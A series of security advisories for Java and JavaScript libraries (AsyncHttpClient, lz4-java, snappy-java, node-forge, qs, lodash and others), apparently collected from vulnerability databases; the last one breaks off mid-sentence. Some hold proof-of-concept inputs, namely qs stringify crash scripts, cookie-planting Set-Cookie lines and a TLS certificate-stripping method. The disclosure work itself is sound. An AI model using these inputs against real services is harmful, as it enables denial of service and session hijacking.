### Impact The fix for GHSA-vvp4-63h8-v5pm in 3.0.13 folded the authenticated principal into the HTTP/1.1 connection pool key, so that a connection one principal authenticated with NTLM, Kerberos or SPNEGO is not handed to another. It left three cases out. In each, a socket that one identity authenticated can still be drawn by a request belonging to a different identity, and the server serves that request as the first one. 1. **A login with no configured principal.** Kerberos and SPNEGO against the ticket cache or the default JAAS login, which is the usual deployment, leave the realm's principal unset, and the key stayed unscoped in that case. A request to the same host that carries no credentials at all draws the authenticated socket and is served as the service identity. 2. **The proxy realm.** Only the origin realm went into the key. A connection authenticated to a proxy with NTLM or Negotiate is handed to requests of another proxy identity, or of none, and the proxy acts for them as the first identity. 3. **Identities that share a user name.** Only the principal string went into the key, so `CORP\alice` and `OTHER\alice` shared connections, as did two realms differing only in password, login context, keytab or service principal. The Kerberos login cache in `SpnegoEngine` had the same collision, and it was an unsynchronised map, so concurrent first use could hand one caller's login to another. ### Who is Impacted Applications that authenticate with NTLM, Kerberos or SPNEGO, to an origin or to a proxy, and send requests under different identities, or both with and without credentials, to the same host through one client. The sharpest case is a service that calls an internal host under its own Kerberos identity and also fetches user-supplied URLs: a URL on that host is fetched as the service. Basic and Digest are not affected. ### Affected versions * 3.x: 3.0.13 * 2.x: 2.16.1 Earlier versions are covered by GHSA-vvp4-63h8-v5pm. ### Patches Fixed in 3.0.14. The pool key now carries a digest of every field of the realm that decides which identity the connection ends up as, for the origin and the proxy separately, and a realm that authenticates the connection is scoped whether or not it names a principal. `SpnegoEngine` caches logins in a concurrent map keyed by every other field of that identity, and replaces a cached login when the password changes. The 2.x line is end of life and will not receive a fix. Upgrade to 3.0.14. ### Workarounds Use a separate `AsyncHttpClient` instance per identity, and do not share one between authenticated and unauthenticated requests to a host that uses NTLM or Negotiate. Disabling connection pooling also removes the reuse. Incomplete fix of GHSA-vvp4-63h8-v5pm.
yawkat LZ4 Java provides LZ4 compression for Java. From 1.7.0 until 1.11.4, net.jpountz.util.Native.load() uses File.createTempFile to create an exclusive temporary .lck file but derives the native-library path by removing the suffix, then FileOutputStream opens that predictable path without exclusive creation, allowing another local user with access to the same shared temporary directory to create or replace the library file before System.load() uses it. Successful exploitation depends on shared-directory permissions, host protections, and winning the race, and can execute native code as the victim; hardened systems may instead cause library loading to fail and fall back to Java implementations. Configurations using a system library, a private java.io.tmpdir, or Java-only implementations are not affected. This issue is fixed in version 1.11.4.
### Summary When no system-installed `liblz4-java` is found, `net.jpountz.util.Native.load()` extracts the bundled native library to `java.io.tmpdir` and loads it with `System.load`. The path of the extracted library can be predicted before it is created, and the library file is opened without exclusive creation. Another local user who can write to the same temporary directory can therefore create the file first and control the code that is loaded. ### Details ```java tempLibLock = File.createTempFile("liblz4-java-", "." + os().libExtension + ".lck"); tempLib = new File(tempLibLock.getAbsolutePath().replaceFirst(".lck$", "")); // copy to tempLib try (FileOutputStream out = new FileOutputStream(tempLib)) { ... } ... System.load(tempLib.getAbsolutePath()); ``` Only the `.lck` file is created safely, with a random name and exclusive creation. The library path is the `.lck` name without the `.lck` suffix, and nothing reserves it. `new FileOutputStream(tempLib)` opens it with `O_CREAT|O_TRUNC` and follows symlinks. In a shared, world-writable temporary directory, another user can watch for the `.lck` file and create the corresponding library file before it is opened. If they win that race, they own the file. The victim then writes into the attacker-owned file, and the attacker can overwrite it again before `System.load`. Whether this can be exploited depends on the host: - With `fs.protected_regular = 0`, the attacker can pre-create a world-writable file, and their code is then loaded into the victim's JVM. - With `fs.protected_regular >= 1` (the default on many systemd-based distributions), the victim's open fails. The library then fails to load and the library falls back to the Java implementations, so the attacker can only cause a denial of service. - A symlink variant is blocked by `fs.protected_symlinks = 1`. - Temporary directories without the sticky bit, or shared across users in containers, are exploitable whatever these settings are. This behaviour was introduced upstream in commit c3ddae5 (lz4-java 1.7.0), which swapped which of the two files is created with `createTempFile`. ### Impact A local user who can write to the same temporary directory as a victim process that uses the bundled JNI library may be able to execute code as the victim. Exploitation requires a shared temporary directory, host settings that permit it, and winning a race. The issue does not apply if `liblz4-java` is found on `java.library.path`, if `java.io.tmpdir` is private to the user (for example systemd `PrivateTmp`, or a per-user temporary directory), or if only the Java implementations are used. ### Patch Fixed in lz4-java 1.11.4. The native library is now extracted directly into a file created by `File.createTempFile`, which has a random name and is created exclusively, so a file or symlink planted in advance cannot be reused. The `.lck` lock files are no longer used. Instead, the startup cleanup removes stale `liblz4-java-*` temporary files (including `.lck` files left by older versions) only once they are more than one hour old. For older versions, the workaround is to set `java.io.tmpdir` to a directory writable only by the application user, or install `liblz4-java` on `java.library.path`.
snappy-java through 1.1.10.8 contains a buffer overflow vulnerability in typed Snappy.uncompress*Array methods that allocate output arrays by dividing uncompressed length by element size but pass the undivided length to native code. Attackers controlling compressed input can cause misaligned length values to write past array bounds with attacker-controlled bytes, corrupting heap memory.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.1.0 until 3.0.14, the default ThreadSafeCookieStore does not retain whether a Set-Cookie response used a secure transport. It accepts Secure cookies received over plaintext and permits insecure cookies to overlay or delete existing Secure cookies with matching scope. An attacker controlling a plaintext same-site response can consequently plant, replace, or remove cookie state later sent to an HTTPS origin, enabling session fixation, CSRF-token replacement, or loss of security-relevant state. This issue is fixed in version 3.0.14.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.1.0 until 3.0.14, the enabled-by-default cookie store replaces a Cookie header explicitly supplied through setHeader or addHeader whenever the store contributes any cookie for the origin. In a shared client, stored cookies originating from one user can replace a different user's request cookie, causing the request to execute under the wrong session. This bypasses the earlier CVE-2024-53990 remediation, which covered cookies supplied through addCookie but not a directly supplied header. This issue is fixed in version 3.0.14.
### Impact With the cookie store enabled, which is the default, a `Cookie` header that the caller sets on a request with `setHeader` or `addHeader` is thrown away whenever the store holds any cookie for the request's origin: the request's cookie list is written into that header afterwards and replaces it. CVE-2024-53990 fixed the same problem for cookies added with `addCookie`, but that fix works on the cookie list, and a header set directly never reaches it. This is not limited to a cookie of the same name. A store cookie of any name erases the caller's header, so a request meant to carry the caller's session cookie goes out with only the store's cookies, and where the store has a cookie of the caller's name, the store's value is sent instead. It matters most where one client acts for several users. An application that puts each user's session on the request itself, and shares one client and its default cookie store, sends one user's request with a session cookie the store took from a response to another user. The request runs as that other user, so a user of such an application can have their request served under someone else's session, or someone else's under theirs. ### Affected versions * 3.x: up to and including 3.0.13 * 2.x: from 2.1.0 up to and including 2.16.1 ### Patches Fixed in 3.0.14. The store's cookies are added to a caller's `Cookie` header instead of replacing it, and where both name the same cookie the caller's is kept. The caller's text is kept as written, and several `Cookie` headers are folded into one, as RFC 6265 Section 5.4 requires. The 2.x line is end of life and will not receive a fix. Upgrade to 3.0.14. ### Workarounds Where requests carry per-user cookies, use a separate client per user, or disable the cookie store with `setCookieStore(null)`. ### References Incomplete fix of CVE-2024-53990 (GHSA-mfj5-cf8g-g2fv). Reported by @1diot9. ### Attribution AI-assisted tools were used to support discovery and analysis.
### Impact The cookie store ignores the scheme a `Set-Cookie` arrived on. draft-ietf-httpbis-rfc6265bis-22 (approved to obsolete RFC 6265, in the RFC Editor queue) Section 5.7 requires a user agent to ignore a cookie with the `Secure` attribute unless it arrived over a secure connection (step 13), and to ignore a non-Secure cookie from an insecure connection when it would overlay a Secure cookie the store already holds (step 16). Neither rule is implemented. The only `Secure` handling is on retrieval, where a Secure cookie is not sent over plaintext. So anyone who can answer a plaintext request to a site can set, replace or delete the site's `Secure` cookies, and the next HTTPS request carries the attacker's value back inside TLS: ``` http://example.com -> Set-Cookie: SID=attacker-value; Secure; Path=/ https://example.com -> Cookie: SID=attacker-value ``` This does not need an attacker on the network path. A plaintext host under the same site reaches the HTTPS one by setting a domain cookie: ``` http://insecure.example.com -> Set-Cookie: SID=attacker-value; Secure; Domain=example.com; Path=/ https://bank.example.com -> Cookie: SID=attacker-value ``` A plaintext `Set-Cookie` of the same name, domain and path overwrites a Secure cookie, and one with `Max-Age=0` deletes it. Depending on what the application does with the cookie, this is session fixation into the HTTPS session, an overwritten CSRF token, or the removal of a cookie the site relies on. Unlike GHSA-qjr7-w8pj-pmv9, which can only add a cookie, this replaces or deletes one, hence Integrity: High; the harm lands on the HTTPS site, hence Scope: Changed. ### Affected versions * 3.x: up to and including 3.0.13 * 2.x: from 2.1.0, when the cookie store was introduced, up to and including 2.16.1 ### Patches Fixed in 3.0.14 on the 3.x line. A cookie with the `Secure` attribute is ignored unless the request was secure, and a non-Secure cookie from a request that did not use TLS is ignored when it would overlay a Secure cookie of the same name whose path its own path falls under. A plaintext response can therefore no longer plant, overwrite or delete a `Secure` cookie. When several cookies of one name match a request, the client sends only the first, so the order in which the store returns them decides which one is used. That order is now: on a secure request, cookies received in a secure context (HTTPS, WSS or plaintext loopback) first; then the request host's own cookies before cookies set for a parent domain; then, within one host, longer paths first. A plaintext attacker cannot outrank a cookie the site set over HTTPS by ordering or padding its own cookies, or by setting one before the site sets its own. Plaintext requests to `localhost`, or to an address literal that is a loopback address, count as secure, so a development server that sets `Secure` cookies over `http://localhost` gets them back. This is limited to the cookies such a server set itself: a `Secure` cookie that arrived over HTTPS is never sent over plaintext, loopback included, and a plaintext loopback port cannot overlay it. Numeric spellings that are not address literals, such as `127.0.0.256`, and names under `localhost` are not treated as loopback, because the client resolves them as names. The 2.x line is end of life and will not receive a fix. Upgrade to 3.0.14. ### Workarounds Do not share one `CookieStore` between plaintext and HTTPS origins that are not mutually trusted, including hosts under the same site. Disabling the cookie store also avoids it. ### Details `ThreadSafeCookieStore.add(Uri, Cookie)` reduces the request to its host and path before storing, so the scheme never reaches the code that decides whether to keep a cookie. `get(Uri)` does read it, but only to leave `Secure` cookies out of plaintext requests. A narrower form survives the two storage rules on their own. The step 16 path test is one-way by design, so a plaintext `SID` for `Path=/` is legitimately stored beside a Secure `SID` for `Path=/account`, and both match a request under `/account`. The store returned matching cookies in hash order, and the client keeps only the first cookie of each name when it builds the request (`RequestBuilderBase.addCookieIfUnset`), so an attacker could decide which one was sent, for example by padding one plaintext response with filler cookies. The ordering described above closes it. The fix does not stop an HTTPS host under the same site from setting a domain cookie for a name the request host never sets itself. Only a `__Host-` cookie name prefix prevents that, and the client does not enforce cookie name prefixes. ### Attribution AI-assisted tools were used to support discovery and analysis.
A flaw was discovered in Elasticsearch, where a large recursion using the innerForbidCircularReferences function of the PatternBank class could cause the Elasticsearch node to crash. A successful attack requires a malicious user to have read_pipeline Elasticsearch cluster privilege assigned to them.
Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to 1.4.1, the forge.http client stored cookie names and paths from Set-Cookie response headers in ordinary JavaScript objects. A malicious server could use the cookie name __proto__ so that the attacker-controlled cookie path was written as a property on Object.prototype, or use inherited names such as constructor to modify Object. An empty cookie value could use the removal path to delete an inherited Object.prototype property. Applications using forge.http directly or through forge.xhr are affected; applications that do not use forge.http are unaffected. This issue is fixed in version 1.4.1.
A flaw in Elasticsearch allows an authenticated user with the privileges required to invoke the simulate pipeline API endpoint (https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ingest-simulate) to submit a request that causes a self-referential data structure to be created. When a specific internal component later processes that structure, the operation recurses without bound and raises a fatal error that is not handled by the surrounding execution path, terminating the affected node process and resulting in a denial of service.
### Impact The `_.unset`, `_.omit`, and `_.pullAt` functions are vulnerable to prototype pollution. The fix for [CVE-2025-13465](https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as `Object.prototype`, `Number.prototype`, and `String.prototype`. The issue permits deletion of prototype properties but does not allow overwriting their original behavior. ### Patches The issue is patched from 4.18.0 to 4.18.1 depending on the package: `lodash`, `lodash-es`, and `lodash-amd` in 4.18.1, and the standalone `lodash.unset` and `lodash.omit` packages in 4.18.0. ### Workarounds None. Upgrade to the patched version. ### References - [CVE-2025-13465 / GHSA-xxjr-mmjv-4gpg](https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) (original fix that this bypasses)
### Summary `qs.stringify` with `arrayFormat: 'comma'` throws `TypeError: Cannot convert object to primitive value` when an array element cannot be coerced to a string, such as an object with an own non-callable `toString` (`{ "toString": "x" }`) or a null-prototype object. The comma format joins array elements with `Array.prototype.join` and, under `encodeValuesOnly`, first passes each element through `String()` in `utils.encode`; neither guards against an element whose string coercion fails. ### Details In `lib/stringify.js`, the comma branch collapses the array with `obj.join(',')`. For an element whose own `toString` is not callable, `ToPrimitive` skips it, falls through to `Object.prototype.valueOf` (which returns the object itself), and throws. Under `encodeValuesOnly: true`, the same element first reaches `String(str)` in `utils.encode` (`lib/utils.js`) and throws there. Nested arrays (`{ "a": [[{ "toString": "x" }]] }`) throw the same way, through `Array.prototype.toString`. The `indices`, `brackets`, and `repeat` formats walk into object elements instead of coercing them, and are not affected. Such elements can come from untrusted input. `JSON.parse` produces `{ "a": [{ "toString": "x" }] }` with no qs option involved. `qs.parse("a[0][toString]=x", { allowPrototypes: true })` keeps the `toString` key, and `qs.parse("a[][b]=c", { plainObjects: true })` produces a null-prototype element; the default parse options drop `toString` and produce ordinary objects, which do not throw. Express 4's default `query parser`, Express 5's `extended` query parser, and body-parser's `urlencoded({ extended: true })` all call `qs.parse` with `allowPrototypes: true`. #### PoC ```js var qs = require("qs"); qs.stringify(JSON.parse("{\"a\":[{\"toString\":\"x\"}]}"), { arrayFormat: "comma" }); qs.stringify(qs.parse("a[0][toString]=x", { allowPrototypes: true }), { arrayFormat: "comma" }); qs.stringify(qs.parse("a[][b]=c", { plainObjects: true }), { arrayFormat: "comma", encodeValuesOnly: true }); // TypeError: Cannot convert object to primitive value ``` #### Fix Applied in a952e75 on `main` and released as v6.16.1: an element whose string coercion would fail is coerced to its primitive `valueOf`, if any, or else to `Object.prototype.toString`, so it renders as `[object Object]`, the same as any other object element already does under the comma format. Nested arrays are walked the way `join` walks them. Every input that did not previously throw serializes exactly as before, and a `toString` or `valueOf` that itself throws still propagates. ### Affected versions `>=6.7.0 <6.16.1`, fixed in v6.16.1. The `join` path was introduced with the comma format in b84acba and first shipped in v6.7.0; v6.6.x and earlier ignore `arrayFormat: 'comma'` and are not affected. The `encodeValuesOnly` `String()` site was introduced in 4c4b23d (v6.11.1); before that, the same input throws at `join`. Every release from v6.7.0 through v6.16.0 is affected. ### Impact An unauthenticated request can make any code path that re-serializes attacker-influenced data with `qs.stringify` and `arrayFormat: 'comma'` (for example, rebuilding a query string from `req.query` for a redirect or an upstream request, or serializing a parsed JSON body) throw synchronously. In a typical Node.js HTTP framework the throw is caught by the framework error boundary and the affected request returns a 500; the process survives and other requests are unaffected. Where the call runs outside an error boundary, such as an `async` Express 4 handler (where the throw becomes an unhandled promise rejection) or a bare `http` request handler, the process exits, so the impact in that case depends on the application error handling rather than on qs. The default `arrayFormat` (`indices`) is not affected.
### Impact In case a Prototype Pollution vulnerability is present in a user's application or bundled libraries, the Sentry SDK could potentially serve as a gadget to exploit that vulnerability. The exploitability depends on the specific details of the underlying Prototype Pollution issue. > [!NOTE] > This advisory does not indicate the presence of a Prototype Pollution within the Sentry SDK itself. Users are strongly advised to first address any Prototype Pollution vulnerabilities in their application, as they pose a more critical security risk. ### Patches The issue was patched in all Sentry JavaScript SDKs starting from the [8.33.0](https://github.com/getsentry/sentry-javascript/releases/tag/8.33.0) version. Also, the fix was backported to SDK v7 in [7.119.1](https://github.com/getsentry/sentry-javascript/releases/tag/7.119.1). ### References * [Prototype Pollution](https://portswigger.net/web-security/prototype-pollution) * [Prototype Pollution gadgets](https://portswigger.net/web-security/prototype-pollution#prototype-pollution-gadgets) * [sentry-javascript#13838](https://github.com/getsentry/sentry-javascript/pull/13838)
## Summary `qs.stringify(obj, { arrayFormat: 'comma' })` throws an uncaught `TypeError: Cannot convert object to primitive value` when an array in `obj` contains an element that carries an own, non-callable `toString` property (for example `{ a: [ { toString: 'x' } ] }`). A remote, unauthenticated attacker who can influence an object that the application later re-serializes with the comma array format triggers the throw. In a service that lacks a synchronous error boundary around the serialization call, the uncaught exception crashes the worker process, producing a denial of service. ## Root Cause When `arrayFormat: 'comma'` is selected, the comma branch collapses the whole array into a single value via `Array.prototype.join`, or, under `encodeValuesOnly: true`, maps each element through the value encoder before joining. Both paths perform an implicit string coercion (`ToPrimitive` with hint `"string"`) on each element. For an object whose own `toString` is a non-callable value, coercion skips the shadowed non-callable `toString`, falls through to `Object.prototype.valueOf` (which returns the object rather than a primitive), and throws. The comma branch runs this coercion before the per-element null and skip handling in the main loop, so nothing downstream can neutralize the hostile element, and the throw is never caught inside the library. ```text lib/stringify.js (comma-array branch) line 152-154: obj = utils.maybeMap(obj, function (v) { return v == null ? v : encoder(v); }); // encodeValuesOnly path line 156: objKeys = [{ value: obj.length > 0 ? obj.join(',') || null : void undefined }]; // default comma path lib/utils.js line 292: string = String(str); // value encoder coercion reached via the encodeValuesOnly path ``` ## Impact Prerequisites: the application calls `qs.stringify` with `arrayFormat: 'comma'` (a documented, supported option) on an object whose shape can be influenced by attacker input. Attacker-controllable sources include `qs.parse(input, { allowPrototypes: true })`, which retains a `toString` segment (Express 4's default query parser, Express 5's `extended` query parser, and body-parser's `extended` urlencoded parser all set it), `qs.parse(input, { plainObjects: true })`, whose null-prototype elements throw even without a `toString` key (eg, `a[][b]=c`), and `JSON.parse` of a request body, which needs no qs parse option at all. No authentication or user interaction is required. Demonstrated capability: a single request forces an uncaught synchronous `TypeError` in the serialization call. In a naive single-process Node service with no synchronous error boundary, this crashes the process and takes the service offline (availability impact). Under a framework such as Express that traps synchronous handler throws, the plausible outcome is a per-request 500 rather than a full outage; that lower-impact case is noted but not the worst credible supported deployment. There is no confidentiality or integrity impact, no memory unsafety, and no prototype pollution. ## Proof of Concept `Install qs at the affected version (for example 6.16.0) and run the following script with Node.js. No network setup is required; it demonstrates the throw in isolation.` ```js var qs = require('qs'); // Source A: qs.parse with allowPrototypes retains the hostile toString segment qs.stringify(qs.parse('a[0][toString]=x', { allowPrototypes: true }), { arrayFormat: 'comma' }); // Source B: a JSON request body, no qs parse option needed qs.stringify(JSON.parse('{"a":[{"toString":"x"}]}'), { arrayFormat: 'comma' }); // Also affected: the encodeValuesOnly sub-path qs.stringify(JSON.parse('{"a":[{"toString":"x"}]}'), { arrayFormat: 'comma', encodeValuesOnly: true }); ``` ```text A default-join (allowPrototypes) => THREW: TypeError: Cannot convert object to primitive value B default-join (JSON.parse) => THREW: TypeError: Cannot convert object to primitive value C encodeValuesOnly path => THREW: TypeError: Cannot convert object to primitive value N2 callable toString => NO THROW; output="a=z" N3 isBuffer vector (CVE-2026-82417) => NO THROW; output="a%5Bconstructor%5D%5BisBuffer%5D=x" qs version: 6.16.0 ``` ## Attack Chain 1. **Exposure:** A remote, unauthenticated request reaches an endpoint whose handler eventually serializes attacker-influenced data with `qs.stringify(obj, { arrayFormat: 'comma' })`. 2. **Control:** The attacker supplies data that becomes `{ a: [ { toString: <non-callable value> } ] }`, either via `a[0][toString]=x` parsed with `allowPrototypes`, or via a JSON body `{"a":[{"toString":"x"}]}`. 3. **Path:** In `stringify`, the primitive/buffer guard at `lib/stringify.js:134` is false for an array, so control reaches the comma branch at `lib/stringify.js:149`. 4. **Guard:** On the `encodeValuesOnly` path, the closure `v == null ? v : encoder(v)` at `lib/stringify.js:152-154` passes only `null`/`undefined` through; a non-null object still reaches the encoder. The default path skips that closure entirely and reaches `obj.join(',')` at `lib/stringify.js:156` with no guard at all. 5. **Primitive:** The element is coerced to a string (`Array.prototype.join`, or `String(str)` at `lib/utils.js:292`). `ToPrimitive` skips the non-callable own `toString`, `valueOf` returns the object, and a `TypeError` is thrown. 6. **Result:** The uncaught synchronous exception propagates out of the serialization call, failing the request and, in a service without a synchronous error boundary, crashing the process (denial of service). ## Bypass Evidence This is a different element type on the code path CVE-2026-8723 (GHSA-q8mj-m7cp-5q26) patched, plus the default comma path, which that fix never covered. CVE-2026-8723 addressed a `TypeError` crash on `null`/`undefined` entries in the comma plus `encodeValuesOnly` path. Its fix (commit 21f80b3) wraps the encoder in `function (v) { return v == null ? v : encoder(v); }`, so it only passes `null` and `undefined` through. A non-null element with a hostile own `toString` fails the `v == null` test, so the encoder still runs and still throws; the encodeValuesOnly case (case C above) throws on the exact fixed code. The default comma path (`encodeValuesOnly` unset, the library default) never entered that fix at all: `git log -S "obj.join(','" -- lib/stringify.js` shows no security fix has ever touched the `obj.join(',')` line, and cases A and B throw with `encodeValuesOnly` unset. The related isBuffer hardening for CVE-2026-82417 (commit e83d321) is a different sink at the `lib/stringify.js:134` guard, which is never entered for the array element; the negative control `{a:{constructor:{isBuffer:'x'}}}` serializes cleanly. Disproof attempts that failed: a `valueOf`-only object does not throw (it serializes to `[object Object]`), confirming the trigger is an element with no callable `toString` (an own non-callable `toString`, or a null-prototype object with no `toString` at all, as `qs.parse` produces under `plainObjects`); nested arrays (`{"a":[[{"toString":"x"}]]}`) throw the same way; a callable `toString` serializes cleanly; and the default (non-comma) array format serializes cleanly, confirming the comma format is required. All positive and negative cases were reproduced on the exact published 6.16.0 artifact. ## Affected Versions - `Ecosystem: npm` - `Package: qs` - `Confirmed affected range: >= 6.7.0, <= 6.16.0` - `Latest release checked: 6.16.0 (npm latest; git tag v6.16.0)` - `Fix status: fixed in 6.16.1 (a952e75)` The `arrayFormat: 'comma'` join sink was introduced in qs 6.7.0, so 6.7.0 is the lower boundary; releases before 6.7.0 lack the sink. No released version fixes this vector, and the latest published release (6.16.0) reproduces the throw, so the closed upper bound `<= 6.16.0` covers every affected release. The `encodeValuesOnly` sub-path was added later, but the default comma-join vector already affects 6.7.0, so 6.7.0 governs the lower boundary. ## Suggested Fix The comma array serialization must not allow an implicit string coercion of an array element to throw an uncaught exception. Coercion of each comma element should be performed defensively (for example by wrapping the join and per-element encode so that a coercion failure is caught and handled), and this protection must cover both the default `obj.join(',')` path and the `encodeValuesOnly` encoder path, not only the previously patched `null`/`undefined` case. As an interim mitigation without a code change, applications can avoid `arrayFormat: 'comma'` when serializing data derived from untrusted input, sanitize parsed objects (avoid `allowPrototypes`/`plainObjects` on untrusted input and strip unexpected own properties), or wrap `qs.stringify` calls in a synchronous error boundary so a coercion failure cannot crash the process. Reported by zx (GitHub: @manus-pi). --- ## Independent report by @Lucidsec The following was reported separately, after this advisory, and is merged here as a duplicate. ### Summary In project [qs](https://github.com/ljharb/qs), in versions `>= 6.7.0, <= 6.16.0` (every version that supports `arrayFormat: 'comma'`), `qs.stringify` with `arrayFormat: 'comma'` can throw an uncaught `TypeError: Cannot convert object to primitive value` when an array element has a non-callable own `toString`. It is fixed in 6.16.1. Related: CWE-248 and CWE-704. ### Technical Details `qs.stringify` with `arrayFormat: 'comma'` joins an array at `lib/stringify.js:156` via `obj.join(',')`. An element whose own `toString` is not callable makes `Array.prototype.join` throw. There is no type check and no catch on that path. A second path exists with `encodeValuesOnly`: at `lib/stringify.js:151-154`, `maybeMap` only skips `v == null`, then `lib/utils.js:292` does `String(str)` and throws the same `TypeError` (this second site exists since v6.11.1; before that, the same input throws at `join`). Who can trigger: someone who can shape an array element passed to `stringify`. The host must use non-default `arrayFormat: 'comma'`. Default `arrayFormat` `indices` does not fold arrays and is not affected. A parse-then-stringify path also needs `plainObjects: true` (null-prototype elements from `lib/parse.js:200`) or `allowPrototypes: true` (which Express 4's default query parser, Express 5's `extended` query parser, and body-parser's `extended` urlencoded parser all set). Default `qs.parse('a[0][toString]=x')` returns `{}` because the prototype guard drops `toString`. Direct JSON handed to `stringify` can supply `{"a":[{"toString":"x"}]}`. Cause: the comma fold at `lib/stringify.js:149-156` collapses the array into a single value before the main loop at `lib/stringify.js:172-212`, so `skipNulls` and `strictNullHandling` only ever see the joined value, never individual elements. `isNonNullishPrimitive` / `isBuffer` at `lib/stringify.js:134` inspect the whole value, not each element. A normal object uses `Object.prototype.toString` and becomes `[object Object]`. An own non-callable `toString` is skipped, `valueOf` returns the object, and `join` throws. (The skipped TODO test at `test/stringify.js:684-689` uses a plain `{ b: 1 }` element, which does not throw; it covers the separate question of what comma format should output for object elements, not this crash.) Earlier comma crash fixes did not cover object elements. ### Impact One small input makes that serialization path throw a synchronous, catchable `TypeError`. Behind a framework error boundary (eg, a synchronous Express handler), the request fails with a 500 and the process survives. In a host with no error boundary (eg, a bare `http.createServer` handler), the uncaught exception exits the process (the client sees `ECONNRESET`). Availability only. ### Proof of Concept <details> <summary>Show the proof of concept</summary> Checked on the latest commit that was checked: `07b1d4d82c8f9301c105ea4b94fa2302cfd6e8b4`. Still present. Demonstrated. - Payload `{"a":[{"toString":"x"}]}` throws at `lib/stringify.js:156`. - Baseline `{"a":["x","y"]}` returns 200 with body `a=x%2Cy`. - A plain object element stringifies to `a=%5Bobject%20Object%5D` and does not throw. - `encodeValuesOnly: true` throws via `utils.js:292`. - `plainObjects` parse plus comma throws. </details> ### Suggested Fix Before `join`, map elements with the existing primitive check; skip or replace non-primitives so `join` cannot throw. On the `encodeValuesOnly` path, do not send non-primitives into `String()`. Optionally guard `lib/utils.js:292`. Add new regression tests.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. Prior to 3.0.12 and 2.16.1, a proxied ws request is carried through CONNECT, but NettyRequestFactory.newNettyRequest and requestUri decide whether to attach proxy authentication and an absolute-form target only from whether the URI is secure. Because ws is not marked secure, the tunneled WebSocket upgrade sent to the origin includes the proxy's Proxy-Authorization value. Basic credentials are directly recoverable and Digest responses can be replayed or cracked offline. This issue is fixed in versions 3.0.12 and 2.16.1.
snappy-java is a Java port of the snappy, a fast C++ compresser/decompresser developed by Google. Prior to 1.1.10.9, Snappy.arrayCopy(Object src, int offset, int byteLength, Object dest, int destOffset) passes caller-supplied ranges to native memcpy without validating either array, allowing negative or oversized byteLength and offset values to read or write outside array bounds and crash the JVM. SnappyOutputStream.rawWrite and SnappyInputStream.rawRead, including their typed-array write and read methods, pass caller-controlled ranges through this primitive, and typed-array byte-size calculations can overflow int. This issue is fixed in version 1.1.10.9.
Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to 1.4.1, the affected implementation used forge.tls.createConnection(), c.session.serverCertificate, RSA key exchange to process the relevant input or security decision. node-forge's TLS client checked the wrong property when deciding whether a server certificate was missing. A malicious TLS server or on-path peer could omit the Certificate message and reach code that dereferenced the absent certificate, causing an uncaught exception and terminating the connection or process. This issue is fixed in version 1.4.1.
Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to 1.4.1, node-forge did not validate the AES-GCM tagLength option passed to start() during decryption through forge.cipher.createDecipher(). When an application derived tagLength from received data or used an unset or zero-like configuration value, a value that converted to zero together with an empty or missing authentication tag caused the calculated and supplied tags to compare as empty, so decipher.finish() accepted unauthenticated ciphertext. Applications that omit tagLength to use the 128-bit default or pass a fixed valid tag length are unaffected. This issue is fixed in version 1.4.1.
### Impact When a ws:// request is routed through an HTTP proxy with proxy authentication configured, the client tunnels the connection with an HTTP CONNECT, the same as it does for https://. Once the tunnel is open, the WebSocket upgrade request that follows is sent through the tunnel directly to the origin server, not to the proxy. The proxy-auth gate and the companion request-target selection keyed only on whether the URI was secured, which is false for ws://, so the tunnelled upgrade request incorrectly carried the proxy's Proxy-Authorization header and an absolute-form request target meant for the proxy. Any origin server reached over a proxied ws:// connection, or anyone positioned on the origin side of the wire, could recover the proxy credentials: directly for Basic, or as a replayable and offline-crackable response for Digest. ### Affected versions * 3.x: up to and including 3.0.11 * 2.x: up to and including 2.16.0 ### Patches Fixed in 3.0.12 on the 3.x line and in 2.16.1 on the 2.x line. The preemptive Proxy-Authorization header and the absolute-form request target are no longer attached to a tunnelled ws:// upgrade; a ws:// request is now treated like wss://. ### Workarounds Do not use proxy authentication together with ws:// requests through an HTTP proxy, or use wss:// instead. ### Details The proxy-auth gate in NettyRequestFactory#newNettyRequest and the sibling branch in requestUri() did not exclude WebSocket URIs, even though the CONNECT-tunnelling check in NettyRequestSender already tunnels ws:// through CONNECT exactly like https://. Note that 3.0.12 is itself affected by a separate issue, GHSA-rqf5-2wxv-rjf4, where a Digest challenge the client cannot read downgrades to Basic and sends the password in cleartext. Upgrade to 3.0.13 to pick up both fixes.
### Summary The forge TLS client's check for a missing server certificate read the wrong property and never ran. A malicious TLS server, or an on-path attacker who removes the server's Certificate message, can make `connection.process()` throw a `TypeError`, which crashes applications that use the forge TLS client. Fixed in node-forge 1.4.1. ### Details After ServerHelloDone, `tls.handleServerHelloDone()` in `lib/tls.js` is meant to reject a server that sent no certificate with a fatal `insufficient_security` alert, after consulting the application's `verify` callback. The check tested `c.serverCertificate`, which is never set (the certificate is stored as `c.session.serverCertificate`), so it never ran. The client state machine allows ServerHelloDone directly after ServerHello, so the handshake continued to `tls.createClientKeyExchange()`, which reads `c.session.serverCertificate.publicKey` and throws a `TypeError` on the null certificate. The exception propagates out of `connection.process()` without calling the `verify` or `error` callbacks. There is no authentication bypass: without a server certificate the client cannot build its RSA key exchange, so the handshake cannot complete. The fix reads `c.session.serverCertificate` and always fails the handshake in that case, still calling `verify` so the application can customize the alert. Failing even when `verify` returns `true` is needed because the key exchange requires the certificate. #### Patches Fixed in node-forge 1.4.1. The TLS client fails the handshake with an `insufficient_security` alert when the server sends no certificate. #### Workarounds Catch exceptions thrown by `connection.process()` in the code that feeds it network data, and close the connection when one occurs. #### Credits Reported by @arpitjain099. ### Proof of concept Connect a forge TLS client (`forge.tls.createConnection({server: false, ...})`) to a server whose first flight contains ServerHello and ServerHelloDone but no Certificate message. For example, run a forge TLS server and remove the Certificate handshake message (type 11) from its first flight before passing it to the client's `process()`. On 1.4.0 the client's `process()` throws 